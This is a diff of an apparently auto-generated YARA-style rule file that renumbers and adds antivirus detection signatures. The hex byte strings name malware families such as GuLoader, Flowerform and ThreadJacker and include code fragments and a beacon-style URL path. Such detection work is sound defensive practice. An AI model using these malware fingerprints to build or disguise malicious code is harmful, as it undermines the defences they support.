_InfrastructureShared_9164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -92081,7 +97723,7 @@ rule _InfrastructureShared_8642{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*513) >=1 } -rule _InfrastructureShared_8643{ +rule _InfrastructureShared_9165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -92092,7 +97734,7 @@ rule _InfrastructureShared_8643{ ((#a_77_0 & 1)*19491+(#a_03_1 & 1)*17803) >=1 } -rule _InfrastructureShared_8644{ +rule _InfrastructureShared_9166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -92103,7 +97745,7 @@ rule _InfrastructureShared_8644{ ((#a_54_0 & 1)*18467+(#a_51_2 & 1)*7168) >=1 } -rule _InfrastructureShared_8645{ +rule _InfrastructureShared_9167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -92116,7 +97758,7 @@ rule _InfrastructureShared_8645{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*11827+(#a_69_2 & 1)*14956+(#a_15_3 & 1)*-14589) >=1 } -rule _InfrastructureShared_8646{ +rule _InfrastructureShared_9168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -92129,7 +97771,7 @@ rule _InfrastructureShared_8646{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1025+(#a_53_2 & 1)*21841+(#a_72_3 & 1)*27502) >=1 } -rule _InfrastructureShared_8647{ +rule _InfrastructureShared_9169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -92141,7 +97783,7 @@ rule _InfrastructureShared_8647{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*21317+(#a_61_2 & 1)*265) >=1 } -rule _InfrastructureShared_8648{ +rule _InfrastructureShared_9170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -92156,7 +97798,7 @@ rule _InfrastructureShared_8648{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*21356+(#a_61_2 & 1)*24396+(#a_6e_3 & 1)*28531+(#a_06_4 & 1)*656+(#a_6f_5 & 1)*6) >=1 } -rule _InfrastructureShared_8649{ +rule _InfrastructureShared_9171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -92169,7 +97811,7 @@ rule _InfrastructureShared_8649{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*18286+(#a_90_2 & 1)*0+(#a_02_5 & 1)*28443) >=1 } -rule _InfrastructureShared_8650{ +rule _InfrastructureShared_9172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -92179,7 +97821,7 @@ rule _InfrastructureShared_8650{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_8651{ +rule _InfrastructureShared_9173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -92190,7 +97832,7 @@ rule _InfrastructureShared_8651{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25844) >=2 } -rule _InfrastructureShared_8652{ +rule _InfrastructureShared_9174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -92201,7 +97843,7 @@ rule _InfrastructureShared_8652{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*5574) >=2 } -rule _InfrastructureShared_8653{ +rule _InfrastructureShared_9175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -92212,7 +97854,7 @@ rule _InfrastructureShared_8653{ ((#a_46_0 & 1)*16675+(#a_1b_1 & 1)*9308) >=2 } -rule _InfrastructureShared_8654{ +rule _InfrastructureShared_9176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -92223,7 +97865,7 @@ rule _InfrastructureShared_8654{ ((#a_46_0 & 1)*16675+(#a_8f_1 & 1)*2084) >=2 } -rule _InfrastructureShared_8655{ +rule _InfrastructureShared_9177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -92233,7 +97875,17 @@ rule _InfrastructureShared_8655{ ((#a_5f_0 & 1)*16931) >=2 } -rule _InfrastructureShared_8656{ +rule _InfrastructureShared_9178{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_63_0 = {70 74 69 6f 6e 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 75 73 70 4d 73 69 6c 49 6e 44 6f 75 62 6c 65 45 6d 61 69 6c 2e 41 00 01 00 38 81 01 44 3a 5c 4e 45 43 5c 46 6c 65 78 50 72 6f 63 65 73 73 43 54 5c 53 52 43 5c 43 54 5c 43 54 30 31 41 5c 46 5c 6f 62 6a 5c 44 65 62 75 67 5c 43 54 30 31 41 46 2e 70 64 62 01 00 0a 81 01 43 54 30 31 41 46 2e 65 78 65 00 00 } //17699 + condition: + ((#a_63_0 & 1)*17699) >=2 + +} +rule _InfrastructureShared_9179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -92243,7 +97895,7 @@ rule _InfrastructureShared_8656{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_8657{ +rule _InfrastructureShared_9180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -92253,7 +97905,7 @@ rule _InfrastructureShared_8657{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_8658{ +rule _InfrastructureShared_9181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -92264,7 +97916,7 @@ rule _InfrastructureShared_8658{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*13870) >=2 } -rule _InfrastructureShared_8659{ +rule _InfrastructureShared_9182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -92274,7 +97926,7 @@ rule _InfrastructureShared_8659{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_8660{ +rule _InfrastructureShared_9183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -92284,7 +97936,7 @@ rule _InfrastructureShared_8660{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_8661{ +rule _InfrastructureShared_9184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -92295,7 +97947,7 @@ rule _InfrastructureShared_8661{ ((#a_5f_0 & 1)*25635+(#a_74_1 & 1)*25961) >=2 } -rule _InfrastructureShared_8662{ +rule _InfrastructureShared_9185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -92307,7 +97959,7 @@ rule _InfrastructureShared_8662{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*13943+(#a_3a_2 & 1)*21587) >=2 } -rule _InfrastructureShared_8663{ +rule _InfrastructureShared_9186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -92319,7 +97971,7 @@ rule _InfrastructureShared_8663{ ((#a_54_0 & 1)*18467+(#a_c6_1 & 1)*-15997+(#a_01_2 & 1)*1) >=2 } -rule _InfrastructureShared_8664{ +rule _InfrastructureShared_9187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -92331,7 +97983,7 @@ rule _InfrastructureShared_8664{ ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*28674+(#a_16_4 & 1)*4352) >=2 } -rule _InfrastructureShared_8665{ +rule _InfrastructureShared_9188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -92343,7 +97995,7 @@ rule _InfrastructureShared_8665{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*5636+(#a_fb_2 & 1)*-25060) >=3 } -rule _InfrastructureShared_8666{ +rule _InfrastructureShared_9189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -92354,7 +98006,7 @@ rule _InfrastructureShared_8666{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*25938) >=3 } -rule _InfrastructureShared_8667{ +rule _InfrastructureShared_9190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -92365,7 +98017,7 @@ rule _InfrastructureShared_8667{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*3267) >=3 } -rule _InfrastructureShared_8668{ +rule _InfrastructureShared_9191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -92375,7 +98027,7 @@ rule _InfrastructureShared_8668{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_8669{ +rule _InfrastructureShared_9192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -92387,7 +98039,7 @@ rule _InfrastructureShared_8669{ ((#a_6c_0 & 1)*16675+(#a_69_1 & 1)*25376+(#a_79_2 & 1)*21249) >=3 } -rule _InfrastructureShared_8670{ +rule _InfrastructureShared_9193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -92399,77 +98051,127 @@ rule _InfrastructureShared_8670{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8192+(#a_54_2 & 1)*25968) >=3 } -rule _InfrastructureShared_8671{ +rule _InfrastructureShared_9194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 30 33 30 38 32 31 21 4d 54 42 00 01 00 2e 03 08 09 08 6f 90 02 04 5d 17 d6 28 90 02 04 da 13 04 07 11 04 28 90 02 04 28 90 02 04 28 90 02 04 0b 09 17 d6 0d 09 20 90 02 04 31 c7 90 00 01 00 10 } //18467 $a_6f_1 = {42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 00 00 78 84 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 50 68 61 6e 45 76 61 64 65 33 2e 78 36 34 2e 52 65 76 48 74 74 70 00 01 00 1c 03 41 b8 00 00 00 00 ba 01 00 00 00 b9 02 00 00 00 48 8b 90 01 04 90 01 01 ff d0 90 00 01 00 17 03 41 b8 10 00 00 00 } //17921 - $a_48_2 = {90 01 04 90 01 01 ff d0 85 c0 90 00 01 00 1f 03 48 89 c1 48 8b 90 01 04 90 01 01 ff d0 48 8b 90 01 04 90 01 01 ff d0 b9 01 00 00 00 e8 90 00 00 00 78 84 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 50 72 6f 63 65 73 73 50 72 6f 74 65 63 74 2e 53 30 31 00 01 00 17 01 53 65 74 4b 65 72 6e 65 6c 4f 62 6a 65 63 74 53 65 63 75 72 69 74 79 01 00 15 01 52 61 77 53 65 63 75 72 69 74 79 44 65 73 63 72 69 70 74 6f 72 01 00 1d 01 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 41 63 63 65 73 73 43 6f 6e 74 72 6f 6c 00 00 78 84 00 00 03 00 03 00 } //-30392 + $a_48_2 = {90 01 04 90 01 01 ff d0 85 c0 90 00 01 00 1f 03 48 89 c1 48 8b 90 01 04 90 01 01 ff d0 48 8b 90 01 04 90 01 01 ff d0 b9 01 00 00 00 e8 90 00 00 00 78 84 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 59 30 31 21 4d 54 42 00 01 00 17 81 01 73 65 71 75 65 6e 74 69 61 6c 69 73 65 64 20 66 61 76 6f 75 72 65 64 01 00 15 81 01 64 69 65 7a 65 75 67 6d 65 6e 6f 6e 20 74 79 6d 70 61 6e 61 6c 01 00 1a 81 01 76 72 65 64 61 67 74 69 67 20 72 65 70 72 65 73 73 61 6c 69 65 6e 2e 65 78 65 00 00 78 84 00 00 03 00 03 00 } //-30392 condition: ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*17921+(#a_48_2 & 1)*-30392) >=3 } -rule _InfrastructureShared_8672{ +rule _InfrastructureShared_9195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 50 68 61 6e 45 76 61 64 65 33 2e 78 36 34 2e 52 65 76 48 74 74 70 00 01 00 1c 03 41 b8 00 00 00 00 ba 01 00 00 00 b9 02 00 00 00 48 8b ?? ?? ?? ?? ?? ff d0 90 00 01 00 17 03 41 b8 10 00 00 00 48 89 c1 48 8b ?? ?? ?? ?? ?? ff d0 85 c0 } //18467 $a_03_1 = {48 89 c1 48 8b ?? ?? ?? ?? ?? ff d0 48 8b ?? ?? ?? ?? ?? ff d0 b9 01 00 00 00 e8 } //1 - $a_84_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 50 72 6f 63 65 73 73 50 72 6f 74 65 63 74 2e 53 30 31 00 01 00 17 01 53 65 74 4b 65 72 6e 65 6c 4f 62 6a 65 63 74 53 65 63 75 72 69 74 79 01 00 15 01 52 61 77 53 65 63 75 72 69 74 79 44 65 73 63 72 69 70 74 6f 72 01 00 1d 01 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 41 63 } //0 + $a_84_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 59 30 31 21 4d 54 42 00 01 00 17 81 01 73 65 71 75 65 6e 74 69 61 6c 69 73 65 64 20 66 61 76 6f 75 72 65 64 01 00 15 81 01 64 69 65 7a 65 75 67 6d 65 6e 6f 6e 20 74 79 6d 70 61 6e 61 6c 01 00 1a 81 01 76 72 65 64 61 67 74 69 67 20 72 65 70 72 65 } //0 condition: ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*1+(#a_84_2 & 1)*0) >=3 } -rule _InfrastructureShared_8673{ +rule _InfrastructureShared_9196{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 59 30 31 21 4d 54 42 00 01 00 17 81 01 73 65 71 75 65 6e 74 69 61 6c 69 73 65 64 20 66 61 76 6f 75 72 65 64 01 00 15 81 01 64 69 65 7a 65 75 67 6d 65 6e 6f 6e 20 74 79 6d 70 } //18467 + $a_6c_1 = {00 1a 81 01 76 72 65 64 61 67 74 69 67 20 72 65 70 72 65 73 73 61 6c 69 65 6e 2e 65 78 65 00 00 78 84 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 50 72 6f 63 65 73 73 50 72 6f 74 65 63 74 2e 53 30 31 00 01 00 17 01 53 65 74 4b 65 72 6e 65 6c 4f 62 6a } //28257 + $a_53_2 = {63 75 72 69 74 79 01 00 15 01 52 61 77 53 65 63 75 72 69 74 79 44 65 73 63 72 69 70 74 6f 72 01 00 1d 01 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 41 63 63 65 73 73 43 6f 6e 74 72 6f 6c 00 00 78 84 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 59 30 31 21 4d 54 42 00 01 00 1e 81 01 6d 65 6c } //25445 + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28257+(#a_53_2 & 1)*25445) >=3 + +} +rule _InfrastructureShared_9197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 50 72 6f 63 65 73 73 50 72 6f 74 65 63 74 2e 53 30 31 00 01 00 17 01 53 65 74 4b 65 72 6e 65 6c 4f 62 6a 65 63 74 53 65 63 75 72 69 74 79 01 00 15 01 52 61 77 53 65 63 75 72 69 74 79 44 65 73 63 72 69 70 74 } //18467 $a_00_1 = {1d } //29295 - $a_73_2 = {65 6d 2e 53 65 63 75 72 69 74 79 2e 41 63 63 65 73 73 43 6f 6e 74 72 6f 6c 00 00 78 84 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 4a 4a 31 32 33 21 4d 54 42 00 01 00 14 81 01 56 69 61 73 79 73 74 65 6d 73 20 47 72 6f 75 70 20 49 6e 63 01 00 1c 81 01 53 6d 75 72 66 69 74 2d 53 74 6f 6e 65 20 43 6f 6e 74 61 69 } //21249 + $a_73_2 = {65 6d 2e 53 65 63 75 72 69 74 79 2e 41 63 63 65 73 73 43 6f 6e 74 72 6f 6c 00 00 78 84 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 59 30 31 21 4d 54 42 00 01 00 1e 81 01 6d 65 6c 61 6d 70 79 72 69 6e 20 70 72 6f 74 6f 74 79 70 65 73 20 6b 72 6e 69 6b 65 72 73 01 00 21 81 01 63 6f 6e 74 65 6d 70 6f 72 61 6e 65 } //21249 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29295+(#a_73_2 & 1)*21249) >=3 } -rule _InfrastructureShared_8674{ +rule _InfrastructureShared_9198{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 59 30 31 21 4d 54 42 00 01 00 1e 81 01 6d 65 6c 61 6d 70 79 72 69 6e 20 70 72 6f 74 6f 74 79 70 65 73 20 6b 72 6e 69 6b 65 72 73 01 00 21 81 01 63 6f 6e 74 65 6d 70 6f 72 61 6e 65 69 74 79 20 73 } //18467 + $a_6f_1 = {69 73 61 74 69 6f 6e 2e 65 78 65 01 00 0e 81 01 73 63 68 69 7a 6f 74 72 79 70 61 6e 75 6d 00 00 78 84 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 4a 4a 31 32 33 21 4d 54 42 00 01 00 14 81 01 56 69 61 73 79 73 74 65 6d 73 20 47 72 6f 75 70 20 49 6e 63 01 00 1c 81 01 53 6d } //27769 + $a_69_2 = {2d 53 74 6f 6e 65 20 43 6f 6e 74 61 69 6e 65 72 20 43 6f 72 70 01 00 1b 81 01 66 72 65 6d 64 72 6f 67 65 73 20 66 6f 72 66 72 69 73 6b 6e 69 6e 67 2e 65 78 65 00 00 78 84 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 59 30 31 21 4d 54 42 00 01 00 27 81 } //29301 + condition: + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27769+(#a_69_2 & 1)*29301) >=3 + +} +rule _InfrastructureShared_9199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 4a 4a 31 32 33 21 4d 54 42 00 01 00 14 81 01 56 69 61 73 79 73 74 65 6d 73 20 47 72 6f 75 70 20 49 6e 63 01 00 1c 81 01 53 6d 75 72 66 69 74 2d 53 74 6f 6e 65 20 43 6f 6e 74 61 69 6e 65 72 20 43 } //18467 $a_01_1 = {00 1b 81 01 66 72 65 6d 64 72 6f 67 65 73 20 66 6f 72 66 72 69 73 6b 6e 69 6e 67 2e 65 78 65 00 00 78 84 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 59 30 31 21 4d 54 42 00 01 00 27 81 01 70 72 6f 76 69 61 6e 74 77 6c 72 20 75 65 67 65 6e 6e 79 74 74 65 73 20 61 74 74 72 61 70 65 } //29295 - $a_67_2 = {72 6e 65 01 00 17 81 01 78 79 6c 6f 72 63 69 6e 6f 6c 20 6a 6f 6d 66 72 75 6e 61 6c 73 6b 65 01 00 0e 81 01 76 61 67 61 6e 74 76 69 73 65 2e 65 78 65 00 00 78 84 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 65 6e 6b 72 61 79 2e 41 21 64 68 61 00 01 00 1e 01 3c 62 7c 21 3c 79 7f 1d 3c 64 7c } //26994 + $a_67_2 = {72 6e 65 01 00 17 81 01 78 79 6c 6f 72 63 69 6e 6f 6c 20 6a 6f 6d 66 72 75 6e 61 6c 73 6b 65 01 00 0e 81 01 76 61 67 61 6e 74 76 69 73 65 2e 65 78 65 00 00 78 84 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 54 68 72 65 61 64 4a 61 63 6b 65 72 2e 41 00 01 00 0f 03 48 8b 4d 28 ff 15 90 01 04 48 89 45 48 90 00 01 00 } //26994 condition: ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29295+(#a_67_2 & 1)*26994) >=3 } -rule _InfrastructureShared_8675{ +rule _InfrastructureShared_9200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 59 30 31 21 4d 54 42 00 01 00 27 81 01 70 72 6f 76 69 61 6e 74 77 6c 72 20 75 65 67 65 6e 6e 79 74 74 65 73 20 61 74 74 72 61 70 65 72 69 6e 67 65 72 6e 65 01 00 17 81 01 78 79 6c 6f 72 63 69 } //18467 - $a_20_1 = {6f 6d 66 72 75 6e 61 6c 73 6b 65 01 00 0e 81 01 76 61 67 61 6e 74 76 69 73 65 2e 65 78 65 00 00 78 84 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 65 6e 6b 72 61 79 2e 41 21 64 68 61 00 01 00 1e 01 3c 62 7c 21 3c 79 7f 1d 3c 64 7c 08 3c 6d 7f 04 04 0b eb 0a 3c 6f 7c 0d 3c 78 7f 09 2c } //28526 + $a_20_1 = {6f 6d 66 72 75 6e 61 6c 73 6b 65 01 00 0e 81 01 76 61 67 61 6e 74 76 69 73 65 2e 65 78 65 00 00 78 84 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 54 68 72 65 61 64 4a 61 63 6b 65 72 2e 41 00 01 00 0f 03 48 8b 4d 28 ff 15 90 01 04 48 89 45 48 90 00 01 00 20 03 48 89 85 f8 00 00 00 41 b8 90 01 0b 48 8b 8d f8 } //28526 condition: ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28526) >=3 } -rule _InfrastructureShared_8676{ +rule _InfrastructureShared_9201{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 54 68 72 65 61 64 4a 61 63 6b 65 72 2e 41 00 01 00 0f 03 48 8b 4d 28 ff 15 ?? ?? ?? ?? 48 89 45 48 90 00 01 00 20 03 48 89 85 f8 00 00 00 41 b8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 8b 8d f8 00 00 00 ff 15 ?? ?? ?? ?? 48 83 f8 30 0f 85 } //21283 + $a_03_1 = {48 8b 85 d8 00 00 00 48 89 44 24 20 4c 8b 4d 48 45 33 c0 33 d2 48 8b 4d 08 ff 15 ?? ?? ?? ?? 48 89 85 78 01 00 } //1 + $a_84_2 = {00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 65 6e 6b 72 61 79 2e 41 21 64 68 61 00 01 00 1e 01 3c 62 7c 21 3c 79 7f 1d 3c 64 7c 08 3c 6d 7f 04 04 0b eb 0a 3c 6f 7c 0d 3c 78 7f 09 2c 0b 01 00 1e 01 3c 42 7c 21 3c 59 7f 1d 3c 44 7c 08 3c 4d 7f 04 04 0b eb 0a 3c 4f 7c 0d 3c 58 7f 09 2c 0b 01 00 13 01 3c 72 74 0c 3c 74 74 08 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_03_1 & 1)*1+(#a_84_2 & 1)*0) >=3 + +} +rule _InfrastructureShared_9202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 65 6e 6b 72 61 79 2e 41 21 64 68 61 00 01 00 1e 01 3c 62 7c 21 3c 79 7f 1d 3c 64 7c 08 3c 6d 7f 04 04 0b eb 0a 3c 6f 7c 0d 3c 78 7f 09 2c 0b 01 00 1e 01 3c 42 7c 21 } //21539 - $a_1d_1 = {44 7c 08 3c 4d 7f 04 04 0b eb 0a 3c 4f 7c 0d 3c 58 7f 09 2c 0b 01 00 13 01 3c 72 74 0c 3c 74 74 08 3c 62 74 04 3c 22 75 07 41 3b ca 00 00 78 84 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 46 6c 6f 77 65 72 66 6f 72 6d 2e 41 21 64 68 61 00 01 00 09 01 73 65 61 72 63 68 61 72 3d 01 00 0e 01 25 73 6d 73 64 74 63 70 77 65 2e 64 61 } //22844 + $a_1d_1 = {44 7c 08 3c 4d 7f 04 04 0b eb 0a 3c 4f 7c 0d 3c 58 7f 09 2c 0b 01 00 13 01 3c 72 74 0c 3c 74 74 08 3c 62 74 04 3c 22 75 07 41 3b ca 00 00 78 84 00 00 03 00 03 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 4b 21 64 68 61 00 01 00 13 80 01 56 6d 69 64 52 65 73 6f 6c 76 65 72 53 65 72 76 69 63 65 01 00 14 80 01 5f 76 6d 69 64 52 } //22844 + $a_6c_2 = {65 72 53 65 72 76 69 63 65 01 00 0e 80 01 45 78 70 6c 6f 69 74 53 65 72 76 69 63 65 01 00 0f 80 01 5f 65 78 70 6c 6f 69 74 53 65 72 76 69 63 65 00 00 78 84 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 46 6c 6f 77 65 72 66 6f 72 6d 2e 41 21 64 68 61 00 01 00 09 01 73 65 61 72 63 68 } //29541 condition: - ((#a_4c_0 & 1)*21539+(#a_1d_1 & 1)*22844) >=3 + ((#a_4c_0 & 1)*21539+(#a_1d_1 & 1)*22844+(#a_6c_2 & 1)*29541) >=3 } -rule _InfrastructureShared_8677{ +rule _InfrastructureShared_9203{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 4b 21 64 68 61 00 01 00 13 80 01 56 6d 69 64 52 65 73 6f 6c 76 65 72 53 65 72 76 69 63 65 01 00 14 80 01 5f 76 6d 69 64 52 65 73 6f 6c 76 65 72 53 65 72 76 } //16675 + $a_01_1 = {00 0e 80 01 45 78 70 6c 6f 69 74 53 65 72 76 69 63 65 01 00 0f 80 01 5f 65 78 70 6c 6f 69 74 53 65 72 76 69 63 65 00 00 78 84 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 46 6c 6f 77 65 72 66 6f 72 6d 2e 41 21 64 68 61 00 01 00 09 01 73 65 61 72 63 68 } //25449 + $a_01_2 = {00 0e 01 25 73 6d 73 64 74 63 70 77 65 2e 64 61 74 01 00 1f 01 2f 72 65 74 65 73 2f 69 6e 64 65 78 2e 70 68 70 3f 69 64 6c 3d 25 73 26 70 61 67 65 3d 25 73 01 00 0d 01 25 73 73 65 72 } //29281 + $a_65_3 = {65 78 65 00 00 78 